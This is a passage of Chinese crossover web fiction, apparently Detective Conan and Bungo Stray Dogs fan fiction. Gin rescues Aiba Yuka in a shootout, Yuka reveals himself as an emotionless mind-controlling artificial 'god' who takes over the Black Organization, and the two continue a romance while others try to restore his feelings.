琴酒也许不在基地里,这个结果让相叶佑禾的心情有些沉重。 琴酒甩开了追兵,还是…… 相叶佑禾抓着枪的指尖发白,不敢去想那个结果。他努力清空脑子里的想法,专心协助中原中也。 由数据组成的屏幕突然冒出几个红点闪烁,是携带电子设备的人!他们正在以极快的速度靠近。 相叶佑禾调出设备的信息,有些意外。 竟然是公安。 他没有联系公安,是降谷零和诸伏景光?他们怎麽会知道三号基地有问题? 这一瞬间,相叶佑禾脑海里闪过很多想法,远处传来微弱的轰鸣声,在四周排查的敌人停下,警惕地朝声音传来的方向看去。 相叶佑禾自然也是,他微微转了转狙击枪,透过瞄准镜去看声音来源处。某个一闪而过的猜测让他心跳情不自禁地加速。 轰鸣声由远及近,巨大的声响惊起树林里的飞鸟,在一群振翅高飞的鸟儿中,相叶佑禾看到一抹银色。 如月光一般皎洁的颜色。 银色的长发在夜风中猎猎飞舞,宛如极寒之地的暴风雪,凛冽,冰冷,尽显肃杀之意。 相叶佑禾的心脏重重跳动着,他一眨不眨地盯着那抹身影靠近,喉咙发紧,眼睛干涩。 “琴酒,是琴酒!”在四周的敌人纷纷朝车子来源方向奔去,叛徒就在眼前,他们自然要去击杀对方。 是啊,是琴酒。 他没有事。 相叶佑禾来不及思考琴酒出现在这里的原因,他从狙击镜里看到了跟在琴酒后方的敌人,也看到了那个从车里探出头,想要射击琴酒的男人。 “咻——” 经过消音器处理的子弹射出,男人握枪的手腕瞬间炸开个血花。 “有狙击手!小心!”众人被这一变故惊到,连忙查找狙击手的身影。 而在最前方的银发男人只微微抬头,锐利的眼眸略过前方的敌人,准确地朝相叶佑禾的方向投来。 四目相对,即使这个较远的距离让琴酒看不到他,但相叶佑禾知道,他认出了自己。 银发男人薄唇轻启,透过狙击镜,相叶佑禾清晰地分辨出了他的口型。 ——“相叶佑禾。” 第85章 你是不是太迫切了? 相叶佑禾怎麽都没想到,琴酒竟然在腹背受敌的情况下,就这麽大摇大摆地闯了进来。 不,也不算腹背受敌。 琴酒身后跟着的两波队伍,虽说目标相同,可却一点也没有合作的意思。甚至还互相扯起了头花,逮着机会便给对方来上两枪。 两边都很生气,琴酒这是拿他们当枪使呢!但又没办法,他们又不可能真的放弃琴酒。 公安们有绝对不能让琴酒死掉的理由,组织成员们更甚,务必要杀掉琴酒,决不能让对方落入公安手里,否则一定会给黑衣组织带来巨大的损失。 常年游走在生死边缘的topkiller很清楚自己的价值。只要价值足够,公安就不会放弃他,他就能借机让公安成为他的‘助力’,让他能成功抵达相叶佑禾所在之处的‘助力’。 在两波人互相伤害时,前方的琴酒还趁机干掉几个追兵,公安还因此捡漏了两个受伤但没死的组织成员! 于是突然形成了一种诡异的默契,公安和琴酒打起了配合。 多好的机会啊,能抓一个是一个! 组织成员们:艹!琴酒果然是叛徒!竟然和公安搅和在了一起! 琴酒就这麽大摇大摆的带着两波敌人冲了过来。众人目瞪口呆。 就算是琴酒,可这是组织的地盘,他就这麽不怕死吗?! 不过正好,他们本来就做好了琴酒会出现的准备。 下方的组织成员们很快反应过来,他们纷纷掏出手枪,朝琴酒扫射。 “中也,可以撤了,琴酒在外面。”相叶佑禾没有忘记小夥伴,对中也说完后,他仍旧趴在树枝上,不断将射击琴酒的人干掉。 一个又一个敌人受伤倒在地上,相叶佑禾问:“路线你记得吗?” 中原中也:“当然,你先专心应付你那边吧,我很快出来。” 相叶佑禾确实要专心应付眼前的敌人了,第一发子弹射出时因为场景太过混乱,没人发现他的位置。 现在就不一样了。 一发接一发的子弹让敌人很快锁定了他的位置,正快速朝这边靠近。 充满了硝烟的夜晚,机车的轰鸣声响彻云霄,一抹银色的身影从始至终都没有一丝一毫的犹豫,径直朝相叶佑禾的位置闪来。 无需多说,相叶佑禾已经知道琴酒要做什麽了,他放下狙击枪,从枝干上爬起来,估算着速度和距离,蓄力往琴酒的方向跳。 黑色的机车躲开子弹,如同一头矫捷的猎豹在空中高高跃起,银发男人伸出手,淩冽的风掀起他的长发,露出那双深邃的墨绿色眼眸。 心跳如雷,相叶佑禾毫不犹豫地朝他伸出手。 指尖相触,微凉的体温却带来了无尽的安全感,那颗因为担忧一直悬在空中的心,总算是找到归处落了下去。 还不等两人松一口气,琴酒眉眼一凝,属于杀手的直觉让他感觉到了强烈的危险,他宕机立断,抓在机车上的那只手松开,脚下用力,猛地朝相叶佑禾扑去。 相叶佑禾尚未反应过来发生了什麽便被琴酒牢牢抱在怀里,他腾出一只手,将少年的脑袋按在胸前,两人齐齐从枝头跌落。 “轰!”地一声,伤痕累累的机车被一发子弹击中油箱,炽热的火焰瞬间点亮整片夜空。 爆炸的余波将两人掀飞,在地面滚了好几圈后总算停了下来,相叶佑禾还没说什麽,便被琴酒一把抓住带到了最近的掩体后。 相叶佑禾立马着急地小声问:“琴酒!你怎麽样?!” 琴酒:“没事。” “什麽没事!怎麽可能没事!”从抓住的那一刻,相叶佑禾便被琴酒护在怀里,身上仅有一些被树枝划过的擦伤。用身体将他保护得严严实实的琴酒怎麽可能没事!更何况,在摔下来的期间他清楚的听到了一声闷声! 相叶佑禾扑过去,急切地往他身上摸,手指刚触碰到胸膛就被琴酒一把抓住。 男人喘了口气:“虽然我确实说过等做完任务继续,但你是不是太迫切了?” 相叶佑禾顿了一秒,反应过来他在说什麽后给了他胳膊一巴掌:“你以为这样我就又会被你转移话题吗!” 琴酒的呼吸骤然变得沉重又急促,相叶佑禾这才发现手心黏腻腻的。 这是……血。 琴酒的血。 他的手臂也受伤了。 硝烟散去,鼻尖充斥着浓浓的血腥味,相叶佑禾小心翼翼地朝琴酒的衣服上摸去,黑色的风衣掩盖了血液的颜色,可却挡不住那被浸得湿淋淋的触感。 就连他自己的衣服也被染上了红色。 相叶佑禾指尖颤抖,眼眶刹那间便红了起来。 “我没事。”琴酒抓住他的手,紧紧将少年那颤抖又冰冷的手指握在手心里,安抚道:“放心,这点伤对我来说不算什麽。” 相叶佑禾的呼吸一重,哪怕知道他是想让自己放心,还是被他这种不在意生命的态度气到。 他咬牙切齿地骂:“你真是好样的。” 就像刚才,琴酒利用公安来牵制组织成员一样。 他明明知道这个计划有多危险,一旦失误,他就会落入敌人手中。不管是哪一方,他都讨不到好。面对这麽多的敌人,甚至稍有不慎就会在半途…… 可他还是去做了。 相叶佑禾不知道是感动更多,还生气更多。 爆炸给了他们喘气的余地,却也暴露了他们的大概位置。杂乱的脚步声从远处传来,与之相随的是不断扫射而来的子弹。 相叶佑禾立即将基地外的探照灯电源切断,世界陷入一片黑暗,琴酒拉着相叶佑禾迅速转移了阵地。 可是有什麽用呢。 即使把探照灯全关了,让他们的视线受阻又能有什麽用? 他们能暂时躲避敌人的追击,之后呢? 只要不解决敌人,他们就还在危险中。只要不解决敌人,他们就会被不停歇的追击,琴酒的伤就不能立即得到治疗。 “琴酒,别躲了,你逃不了的。”找不到他们的敌人试图查找破绽。 “没想到忠心耿耿的你竟然也会背叛组织,杀掉那麽多卧底和叛徒的你,应该最清楚组织是不会放过你的。” “与其往后都没有安稳人生,不如痛快一点出来吧!琴酒!” 他们换了掩体,不确定方位的敌人谨慎地四处查找,听到一点风吹草动便立即朝某个地方来上几枪,乱飞的子弹偶尔打在墙壁上,琴酒将相叶佑禾按怀里,观察着敌人的动向,等待反杀离开的时机。 相叶佑禾倾听着对方沉稳的心跳,他知道琴酒不会单纯鲁莽的闯进来,一定有离开的办法。 可是他现在很愤怒,他很生气。 就算平安离开了这里,就算琴酒的伤势得到了治疗,就算他杀了boss拿下黑衣组织…… 不够,不够,还不够! 相叶佑禾还是难以平息心头这股怒气,他要让他们害怕,要让他们恐惧,让所有人再也不敢打他们的主意。 就像曾经那样。 对,就像曾经那样。 微风拂来,树影婆娑,相叶佑禾安静地趴在琴酒怀里,男人衣服上的血迹沾染到少年的脸颊、发丝。 他抬起头,如春水般的眼眸中浮现出淡淡的幽蓝色光芒,这抹光芒越来越深、越来越深,它将这双眼睛里的所有感情掩盖,只剩下淡漠的、如同玻璃珠一般没有丝毫感情。 琴酒率先察觉到不对,他垂头,发现少年的变化时心脏一紧。 “相叶佑禾!”他伸手捧住少年的脸颊:“你在做什麽?” 相叶佑禾:“没什麽。” 琴酒吸了口气,胸口的伤势让他忍不住咳嗽了一声,他咽下血说道:“我不管你在想什麽,给我立刻停下来!” 这次,相叶佑禾没有回答他。 原来乱步的‘不要使用异能力’是对他说的啊。 相叶佑禾脑中划过这个想法,可他已经没有什麽感觉了。 情感正在极速流失,他已经没有挽回的余地了,而失去感情的他,也失去了想要挽留的想法。 他缓缓起身,细微的动静让距离最近的组织成员猛地转身,并当即扣动扳机。 可有什麽东西比他更快。 男人僵硬地站在原地,无论怎麽用力,搭在板机上的手指始终无法扣下去。 他无法控制自己的身体了! 男人惊恐地看着面前的少年。 “怎麽了?”察觉到异常的同伴赶来,他们看到了隐藏在黑暗中的两人。 “琴酒?”他们举起枪对准了两人。 “粉头发,这个少年是黑客樱吗?” “boss有令,抓住黑客樱,杀了琴酒!” 可压根不等他们行动,几人便发现自己动不了了。 到这时,他们才发现了少年的异常。 月光洒落,少年的粉发被风轻轻拂起,带着斑驳血迹的脸上没有一丝温度,泛着幽蓝色光芒的眼睛好似在诉说着他异类的身份。 琴酒死死抓着相叶佑禾,好像一松手,少年便再也不会出现在他眼前。 他脑海里浮现出数据上的记载:【人造神明计划试验体A3169失败,没有感情、不会反抗,异能力十分便捷,不予摧毁。】 随后,是他曾经看过的相叶佑禾幼时的笔记。 【人类观察日志。 工藤新一。 毛利兰。 铃木园子。 ……】 从来……就没有什麽失败品,也从来没有什麽黑客异能者。有的只不过是一个将自己的能力合理化,伪装成为普通异能者的人造神明罢了。 相叶佑禾微微侧头,他的眼睛轻飘飘地落在几人身上,像高高在上的神明漫不经心的一瞥,极轻,却让人恐惧得遍体生寒。 他平静道:“自裁吧。” 几人眼中闪过一丝淡淡的蓝色光芒,他们举起枪,毫不犹豫地扣下板机。 第86章 要亲亲吗 “砰~” 阴暗的房间里,太宰治看向最后一个倒在血泊里的人,笑眯眯地吹了吹枪口。 “太宰治!你什麽意思?!”正前方的电子屏幕上,戴着乌鸦头套的人质问道。 “嘿咻~”太宰治轻盈地跃过倒在地上的人,似乎不想让自己的鞋子被被脏兮兮的血染到:“没什麽~” 只不过是他回来了而已。 横滨的‘天眼’,啊,不对,现在应该称之为超越者才对。 “boss先生,感谢你的帮忙,至于接下来你会面临怎样的报复……嗯,那就与我无关了~” 少年双手合十搭在脸侧,歪头眨了眨眼,十分可爱。 可乌丸莲耶却无比愤怒:“太宰治!你骗我?!” “想要利用他人,就要做好被利用的准备。”太宰治轻笑一声,无视身后之人的怒火,推门离开。 他看着浓稠的夜色,唇角的弧度加深,却没什麽温度,少年喃喃自语道:“接下来,你会做出什麽选择呢?” “佑禾。”—— “相叶佑禾!”江户川乱步冲进病房,银发男人躺在病床上,脸色苍白,双眼紧闭,而相叶佑禾则静静地坐在床边,眼睛一眨不眨地盯着男人。 他指着坐在床边的少年气呼呼地骂:“笨蛋!你这个大笨……” 相叶佑禾的视线从琴酒脸上离开,少年此刻已经擦去了脸上的血迹,白净的面庞却不复从前那般温和,他神情淡漠,没有一丝人类的情绪。 相叶佑禾侧头,喊道:“乱步。” 他嗓音平静,里面没有丁点情绪起伏,好似回到了江户川乱步第一次见到他的样子。 名侦探气不打一处来,正要说话却被相叶佑禾打断。 “小点声,他在睡觉。” 相叶佑禾的声音还压低了不少。 江户川乱步到嘴边的话突然就哽住了。 行吧,乱步大人不是什麽无理取闹之人,照顾病人是理所应当的。 他压低声音道:“你跟我出去。” “不去。”相叶佑禾一屁股坐回了椅子上,继续盯着琴酒的脸:“我要守在这。” 江户川乱步:“……” “噗……”太宰治反着坐在椅子上,双手搭在椅背上方,脑袋搁在胳膊上,歪着头闷笑两声:“没用的,他已经成为望夫石了。” 太宰治比江户川乱步先到一会,他进来后相叶佑禾只看了他一眼就收回视线,继续盯着琴酒看,似乎对他的到来没什麽兴趣。 他不搭话,相叶佑禾便也什麽都不说。 太宰治觉得有趣,就一言不发的坐在椅子上观看两人。 江户川乱步瞥了太宰治一眼,走到相叶佑禾侧边,凑近看着他。 “你已经做好决定了?” “嗯。”在感情流失后,相叶佑禾恢复了原本的身份,那段被他尘封起来的记忆也回来了。 除了荒神,他们还想制造出另一位传说中的神明——‘普罗米修斯’,可没有样本,这只能是痴心妄想。 他们便模仿着传说,研究打造出一位先知先觉,或者说,全知全能的‘神明’来供他们索取。 身体脆弱没关系、没有自保能力没关系,他们只想圈养一位‘知晓一切的神’来供他们使用。 他们成功了,只是能力上与他们事先设想的有些出入。相叶佑禾成为了一名精神系超越者。 在醒来的第一时间,他便知道未来等待着他的是什麽,相叶佑禾虽感知不到情感,却也不愿做任人驱使的工具。 他应该站在高处俯视他们才对。 在研究人员爆发出近乎癫狂的欢呼时,相叶佑禾控制了他们,他修改了研究人员的记忆和研究所里记载的数据,将自己伪装成一个失败的普通异能者。 庞大的精神力操控让他的身体难以承受,小小的相叶佑禾做完这些后便忍不住吐了口血。 身体羸弱幼小的孩童根本无法在这座战乱的城市生活下去,他需要时间,在此之前,他需要适应的时间。 相叶佑禾从来不觉得自己是什麽神明,他觉得用研究人员制造出的四不像来形容更加贴切。 他充当了一个失败品两年,这期间静静观察着人类,想要知道他没拥有的东西是什麽。 在机会到来时,他踏入了镭钵街,并被好心人捡回了米花町。 米花町的人类同样有趣。 那个叫工藤新一的小孩,明明是在关心毛利兰,却因为面子说出了让人相当火大的话。 毛利兰也很有趣,在生气地喊完“新一是大笨蛋,我再也不理你”后,没过多久却又和工藤新一说话了。 铃木园子总是站在毛利兰这边,不管是谁伤害了小兰她都会大声斥责。 这就是友谊吗? 人类的感情似乎很有趣。 既然作为知晓一切的神明,那应该也要知道感情是什麽才对。 相叶佑禾花费了一些时间,终于研究出能短暂封印自我的办法,维持封印的能量……就用乱步喜欢的甜点好了。 封印最终还是破除,他的感情再次流失,似乎比曾经更甚,无法理解人类为什麽有趣。 他回看这十年来所有的事,如同大梦初醒,依旧无法理解那些喜怒哀乐是什麽。 他与拥有人类情感的中也,始终是不同的。 封印已经用不了了,相叶佑禾也对拥有情感这件事没什麽想法。 他已经体验过了。 依旧理解不了,那就算了。 不过那些曾经和他相处的人却不能算了。 哪怕理解不了感情,他也依旧有着某某朋友、某某弟弟、某某恋人的身份。 “我既然和琴酒确认了恋爱关系,那自然是要履行恋人的义务。” 比如琴酒受伤了,作为‘满心担忧’的恋人,他应该寸步不离的守在身边,直到琴酒醒来。 “那醒来之后呢?”太宰治饶有兴趣地问。 相叶佑禾回:“照顾他,直到伤势好得差不多。” 太宰治继续:“那再之后呢?” “应该去上学,但我现在的样子肯定会吓到大家,让他们担心。”相叶佑禾思考:“或许我该退学。” 太宰治笑了两声:“我是说,回横滨的事。” 江户川乱步翻了个白眼,毫不客气地从桌上的果篮里拿出个苹果,擦了擦后咬了一口:“你就别明知故问了,他的选择还不明显吗?” 横滨?横滨是什麽,相叶佑禾压根就没想过! 他坐在椅子上,嚼着苹果,没好气道:“真是恭喜你了。” 太宰治一开始打的就是推动相叶佑禾恢复超越者身份的注意,虽然说这对相叶佑禾来说不是什麽坏事。 异能者的身份是藏不住的,他想要留在米花町就会不停地和横滨那些讨厌的家夥们交易,就算加入了某个组织,也依旧需要帮对方做事。 他的生活再也不会平静。 可超越者不一样,他拥有着绝对的实力,他说一不二,政府部门会把他捧上天,但同时……也会因为有了他,那些被暴力压下的贪欲又会浮出,生起一些战乱的心思。 相叶佑禾确实拥有了选择的权利,可谁也不不知道他会选择留在米花町还是回横滨。 对于失去感情的他来说,两边似乎都没什麽差别。 就像太宰治的做法,哪怕结果有一部分对相叶佑禾有利,可他也有可能因为太宰治的乱入而将他视做敌人。 没有感情之人的想法是不可控制的。 比如相叶佑禾居然因为‘既然是恋人就有义务陪在对方身边’这种理由选择米花町。 都没有感情了还认这种死理。 “还是等迟些再恭喜我吧。”太宰治说。 比起没有感情的超越者,他更想看到拥有感情的超越者相叶佑禾。 战乱会被扼杀在摇篮里,相叶佑禾会拥有自己想要的东西,横滨的野犬们也会因此得到改善。 只可惜,想要让一个丧失感情的人拥有感情,谈何容易。 “唉,好累,好想自杀。森先生怎麽就会把这种苦差事交给我。”太宰治像条咸鱼一样摊在椅子上。 呵呵,森先生会这麽好心? 江户川乱步懒得拆穿他们的心思,不管想法怎样,结果都一样就是了。 他抓了个苹果塞进太宰治嘴里:“既然开始了就好好负责到底!别用自杀偷懒!” 胆大妄为的家夥,竟会添麻烦! “唔唔唔!”太宰治挣扎着,差点被苹果杀死。 相叶佑禾自然听懂了他们在打什麽谜语,不过他并不在意,现在的他并不觉得无法理解感情是什麽重要的事。 他们想要做就做吧,尽管他觉得是无用功。 比起这个,他更在意的是——“太宰、乱步,你们出去聊吧,聊天会影响到病人休息。” 太宰治:“……” 江户川乱步:“……”—— 琴酒很快醒来,他看到相叶佑禾的身影时,眉头松动,又在触及到少年那张面无表情的脸时,脸色变得很难看,非常难看。 他生气极了:“为什麽要动用异能力?” 相叶佑禾如实回答:“因为觉得时机合适。” 空气里的温度骤然降至冰点。 相叶佑禾抬眸:“生气不利于伤口恢复。” “你还会担心我的身体?”琴酒冷笑,他死死盯着相叶佑禾的脸,少年那目空一切的神色刺眼极了,害得他心脏也一阵一阵的刺痛。 “嗯,毕竟我们是恋人。”相叶佑禾说:“既然是恋人,这种时候应该会生出担忧这份情绪。” 琴酒闭了闭眼,他没有因为伤势过重死掉,却要被相叶佑禾给气死了。 他该庆幸相叶佑禾失去了感情还保持着这份有些可笑的责任心吗? 他深吸了一口气:“那你应该也知道,既然是恋人,就要一直留在对方身边,永不离弃。” 相叶佑禾点了点头:“但并不是所有的恋人都能一直走到最后的,有因为生离死别分开的,也有感情变质分手的,结婚了也会离婚,就算感情依旧,也有可能因为工作或者其他原因异地……” 琴酒抓住他的手,修长的手指如同坚硬的链环一般,将他牢牢锁住。 他看着相叶佑禾,瞳孔深处似乎翻涌着什麽可怕的情绪:“你要离开?” “不是。”相叶佑禾回看着他,摇摇头:“我只是在陈述世界上还有其他情况而已。” 琴酒盯着他几秒,最后松开了手:“记住你的话。” 相叶佑禾:“嗯。” 接下来相叶佑禾依旧陪着琴酒,尽职尽责的照顾他,可琴酒却不怎麽跟他说话了。 相叶佑禾问:“你饿吗?粥还是热的。” 琴酒不说话。 相叶佑禾把粥放下,拿出一个苹果削好后切成小块:“吃苹果吗?” 琴酒依旧不说话。 相叶佑禾把装有苹果的盘子放下,起身,离开时手腕猛地被人抓住。 “去哪?” 相叶佑禾转身:“给你接水。” 琴酒看了他两眼:“不渴。” 相叶佑禾:“那吃苹果吧?” 琴酒:“没胃口。” “好吧。”相叶佑禾坐下来,他在努力的做一个恋人该做的事,可琴酒一点都不配合。 他避开伤口戳了戳男人的手臂:“你还在生气吗?” 熟悉的动作,熟悉的态度,可是语调和表情却截然不同。 琴酒掐住他的脸颊,垂头看着他:“我不该生气麽?” 好吧,还在生气。 他的行为确实很让人担心,站在琴酒的角度应该会很心痛。 再这样下去只会继续冷战,作为恋人,这个时候他应该去哄琴酒。 怎麽让琴酒开心呢? 相叶佑禾想了想:“要亲亲吗?” 他以前似乎很喜欢亲亲的感觉,琴酒应该也一样? 琴酒微顿,视线移到少年那依旧淡漠没有丝毫情/欲的眼睛上,胸口浮现出一股怒火。 他扯了扯嘴角,冷笑一声:“好啊。” 他抬起少年的下巴,低头吻了上去。 湿润又灼热的气息在少年口腔里肆意掠夺,心头那股怒火让琴酒的动作有些粗暴,却又不会让少年感到难受。 唇齿相依,他用着少年最喜欢的方式,带着他交缠不休。 琴酒看向相叶佑禾,少年闭着眼睛,努力的跟上他的节奏,可脸上却没有任何动/情的色彩。 他突然不想继续了。 琴酒结束了这个吻,相叶佑禾有些茫然。 “不继续了吗?” 他在努力感受这个吻,细细的、一点一点的感受。 奇怪的感觉。 想要继续下去。 这就是喜欢吧? 琴酒没有回答,他粗糙的指腹压在少年的唇瓣上,缓缓将上面的水渍擦去,一遍又一遍。殷红的颜色像是绽开的花朵一般诱人。 他墨绿色的瞳孔晦暗不明,周围的温度却很冷。 相叶佑禾想要得到答案,琴酒不说,他便自己去找。 他抬起手,轻轻搭在男人的脑袋上,读取对方的想法。 两秒后,恍然大悟。 “原来如此,我知道了。”相叶佑禾掐了掐脸颊,手动给自己上了一层羞涩动/情的红晕,最后面无表情地发出了一些上不得台面的声音。 “嗯……啊……嗯嗯……唔。” 嘴巴骤然被捂住,琴酒咬牙切齿:“相叶佑禾,闭嘴。” 第87章 ……死恋爱脑! 琴酒生气极了。 为了他的身体着想,相叶佑禾觉得他应该暂时离开一下对方,让他好好养伤。 但琴酒不许:“怎麽?这就嫌烦想走了?” 相叶佑禾又坐了回去:“不是嫌你烦,是你太生气了。” 琴酒捏住他的下颚,眯了眯眼:“因为我生气就想离开?你的耐心真差。” 相叶佑禾:“……” 以前是他不可理喻,现在怎麽反过来了? 不过是恋爱中的人就很正常了,就算是冷酷无情的琴酒也会因为恋人的举止而让心情反复无常。 他突然有一点怀念这种感觉。 相叶佑禾起身:“你往旁边挪一点。” 琴酒挑眉,照做。 相叶佑禾掀开他的被子,爬了进去。 “你生气太冷了,感觉我一直处在这种温度下很快就会感冒,这样就好了。”他把被子盖得严严实实,还抱住了琴酒的胳膊。 虽然琴酒释放的气势让周围的空气变得很冷,但身体却暖呼呼的。 琴酒躺下来,让他往怀里缩进来一些:“你倒是变诚实了。” 相叶佑禾顾及着他的伤势,不敢贴太近:“因为没了害羞的情绪吧。” 他和琴酒确认关系后相处的时间太短太短,他还没适应这种关系的转变,很多时候都会因为害羞隐藏内心真实的想法,以前就不用说了。 很好,琴酒又生气了。 “我会让它回来的。” 随后,他似乎不想听相叶佑禾再说出什麽让人心脏一抽一抽的话,他把少年按进怀里,抱得紧紧的。 “睡觉。” 鼻尖充满了琴酒的味道,令相叶佑禾升起一股熟悉的安心感,他眨了眨眼,小心翼翼避开伤势蹭了蹭男人的胸膛,又闻了闻。 “你在做什麽?”琴酒的呼吸听起来很重。 “没什麽。”相叶佑禾抬头,用毫无起伏的声音问:“要接吻吗?” “……不、接。” “好吧。”相叶佑禾的语调一如既往,却让琴酒调了调眉。 他抬起少年的脸,轻轻在他眼睛上吻了吻。 炽热的气息喷洒在脸上,痒痒的,湿湿的。 相叶佑禾的手指情不自禁的蜷了起来。 “睡吧。”琴酒用指腹抹了下少年眼底的青黑。 坐在床边守了琴酒一整夜,他确实很累了。相叶佑禾将额头抵在他的胸膛上,闭上眼,很快陷入了梦乡—— 相叶佑禾自然没有忘记乌丸莲耶,只不过琴酒的身体更重要,暂时把这个早该死了的老东西往后推了推。 等琴酒身体好些了,两人便打算去清一下总账。 像是有鬼在后面追,乌丸莲耶这些天到处不停地换位置,一切命令都通过口头传达,身边的守卫也都不许使用电子设备,活得像个原始人。 但相叶佑禾依旧轻而易举地找到了他。 不管那又惊又怕,开出各种条件试图诱惑相叶佑禾和琴酒放过他的乌丸莲耶,相叶佑禾思考了两秒,和琴酒说:“要不然你来当boss吧?” 琴酒有能力又喜欢权利,不如直接把组织给他好了。 “你做了那麽多事暗戳戳干掉那麽多组织成员,不就是想当我的顶头上司,尽情的命令我麽?”琴酒戳穿他曾经的想法:“怎麽?现在不想了?” 男人的语气有些危险:“相叶佑禾,对于自己做出的决定要坚持下去才行。” 相叶佑禾虽然不懂感情,却很懂人类在想什麽。 他恍然:“你是想跟我玩以下犯上的情趣吗?” 琴酒:“?” 现在说起话来真是一点都不会觉得害羞了。 相叶佑禾都不害羞,琴酒就更不可能了。 男人嗤笑一声,懒懒地说:“是你想玩。”但确实不错。 相叶佑禾没有反驳,最了解自己想法的不就是自己吗? 两人就这麽当着boss的面,旁若无人的商量着谁来坐这个位置,乌丸莲耶快被他们气死了。 他的胸膛剧烈起伏着,喉咙里发出难听的‘嗬嗬’声,真怕下一秒就活生生把自己气死过去。 他强忍住怒气,想要用boss之位换一个苟活的机会,只要活着,就还有东山再起的机会。 只可惜相叶佑禾根本不搭理他。 少年面无表情地说:“通知下去,把boss的位置传给我,不要暴露我的名字,琴酒代表我。” “做完这些,你就可以自裁了。” 乌丸莲耶的瞳孔里闪过一丝淡蓝色的光芒,喃喃道:“遵、遵命……” 乌丸莲耶所待的地方阴暗压抑,处理完后两人片刻都不愿意停留,径直离开。 “虽然我当上了boss,但组织里的事还是要交给你。”相叶佑禾没有起伏的语调里硬生生充满了理直气壮。 琴酒:“想要当甩手掌柜?” 相叶佑禾看着他:“我对组织并不在意,对我而言,以前的威胁只有你,后来想要关注的也只是你。” 琴酒盯着他,嗤笑一声:“想要用甜言蜜语来让我为你做事?” 这算甜言蜜语吗?相叶佑禾看向男人:“我只是陈述事实而已。” 琴酒哼笑了一声,捧住他的脸轻轻抬起:“知道了,boss。” 唇瓣传来温热的触感,一触及离,相叶佑禾还惦记着上次的感觉,有些意犹未尽。 但琴酒只勾了勾唇,手指重重地擦了下少年的唇瓣便退开了。 真是恶劣的家夥。 手机传来振动,相叶佑禾看了一眼,是听他吩咐进去给乌丸莲耶收尸的守卫传来短信。 【boss,这是前任boss在墙壁上留下的字,需要擦掉吗?】 附带一张图片,图片上是用鲜血写下的几排大字,鲜艳的颜色和扭曲的字体如泣如诉。 【组织禁止恋爱脑加入!组织禁止恋爱脑加入!!组织禁止恋爱脑加入!!!】 莫名其妙,组织哪有恋爱脑? 相叶佑禾不在意地回了条‘擦掉吧’的短信,和琴酒手牵手的离开了—— 相叶佑禾认为现在的自己不太方便出现在朋友们面前,干脆以生病为由休学了一年。 倒是没想到琴酒会跟他反着干。 江户川柯南最近很着急,相叶佑禾因病休学,他们非常担心连忙去拜访,可是他一连几天都没回家,门口都落了一层灰了。 打电话不接,只用短信回复不便接受探望,希望他们能等一段时间。 这种情况别说江户川柯南了,就连侦探团的小学生们都认为相叶佑禾一定是出事了! 遇事不决,怀疑琴酒准没错! 相叶佑禾肯定是被琴酒绑走了! 一定是前段时间分手,琴酒那个阴险狠辣的男人忍受不了,所以把相叶佑禾带走关起来了! 他要去救相叶佑禾! 江户川柯南一脸坚定,从椅子上跳下来,在毛利兰‘柯南,你要去哪里’的疑惑声中,冲出了波洛咖啡厅。 然而刚到门口,便被一个身形修长高大的男人拦住了去了。 “工藤新一。” 带着寒冷气息的阴影打落在身上,江户川柯南如至冰窖,浑身僵硬。 他机械般地抬头,对上了银发男人冰冷的眼睛。 他心脏骤然停住。 早在上一次琴酒给他APTX4869的数据时,他就知道对方看穿了他的真实身份,可是这次琴酒给他的感觉,并不一般。 这个喜怒无常的男人,这次打算做什麽? 银发男人蹲下身,江户川柯南警惕地往后退了一步,被一把抓住。 他对上男人可怕的眼睛:“你……” “这是APTX4869剩下的数据。”琴酒的话让江户川柯南一愣。 男人继续道:“你需要组织帮你研究解药也可以,你的家人爱人朋友我都没有兴趣,住在你家的赤井秀一和隔壁的雪莉只要不到我面前蹦哒,我可以视而不见。但你必须帮我做一件事。” 江户川柯南险些以为自己幻听了,但听到最后一句话,立即清醒过来防备地问:“什麽事?” 能让他开出这麽大的条件……听安室先生说组织前些日子出了些状况,琴酒的处境很不好,难道说是想让他帮忙对付组织,或者倒戈成为警方这边的人? 江户川柯南脑海里闪过无数念头,并思考如果真的是这样他该做出什麽选择时,听琴酒道:“去找佑禾,让他笑出来。” 江户川柯南:“?” 考虑到相叶佑禾那边的情况,琴酒为他编了个理由:“他最近和我闹脾气,心情不太好。” 江户川柯南匪夷所思:“你是让我去哄佑禾开心?” 他没有佑禾不值得的原因,但是开出这麽多条件,竟然就让他去哄佑禾开心?! 江户川柯南快无语笑了。 他觉得琴酒脑子有问题,不,也不能这麽说,仔细想想还蛮合理的,自从琴酒喜欢上佑禾后,哪一件事不是离谱到让人怀疑,这人不是琴酒的程度啊! 他真服了这些恋爱脑! 琴酒不理他,继续道:“他最近有些封闭自我,不愿意向别人展露情绪。你带上你的朋友们、以及那几个小学生蠢货也行,去找佑禾玩,除了会伤害到他的行为,不管你们用什麽方式,笑也行生气也行,只要能让佑禾有情绪,我答应你的事说到做到。” 这下换江户川柯南生气了:“你到底对佑禾做了什麽?!” 居然已经把佑禾伤害到这种程度了! “恕我直言,如果你真的喜欢佑禾为佑禾好,就放弃佑禾,让他回归原本的正常生活吧。”偷听墙角的服务生安室透说道。 琴酒眯了眯眼,安室透的话让他十分不悦。 “你没有资格跟我说这种话。” 他和佑禾之间的事,不需要旁人说什麽。 但为了相叶佑禾,这些人有存在的必要。 他冷不丁地叫出两个代号: “波本、苏格兰。” 安室透眸光一厉,苏格兰明明没有在这,琴酒叫了他的代号,这代表什麽不言而喻。 如果是前段时间安室透不会担心,可棘手的是,琴酒不知道用了什麽办法,竟然从叛徒又摇身一变,变成了新任boss的心腹,甚至可以代替boss做一切决定。 降谷零都怀疑这个新任boss就是琴酒了! “别站在这系着可笑的围裙了,和江户川一样,叫上苏格兰,你们也去找佑禾。”琴酒冷冷道:“让他开心,以前的事既往不咎,你们从哪来回哪去。” 降谷零:“……” 降谷零想说的话很多,但最终和柯南一样,无语笑了。 死恋爱脑。【你现在阅读的是魔蝎小说 moxiexs】 第88章 正文完结 第88章 正文完结 因此,相叶佑禾先不见不知道异能力的亲朋好友们的计划被打乱了。 等到江户川柯南等人上门拜访时,相叶佑禾一时不知道怎麽面对他们。 不向大家解释异能力的事,就无法解释他如今的变化,可异能力也不能让他们知道。为此相叶佑禾还将追杀琴酒那晚的公安和组织成员的记忆全清除了。 他想了想,决定把休学的理由——生病,扮演下去。 他看了眼镜子,这一段时间,虽然他说要照顾受伤的琴酒,但却莫名其妙变成了琴酒在照顾他。 他最近的气色还蛮好的,看上去没有一点生病的样子。 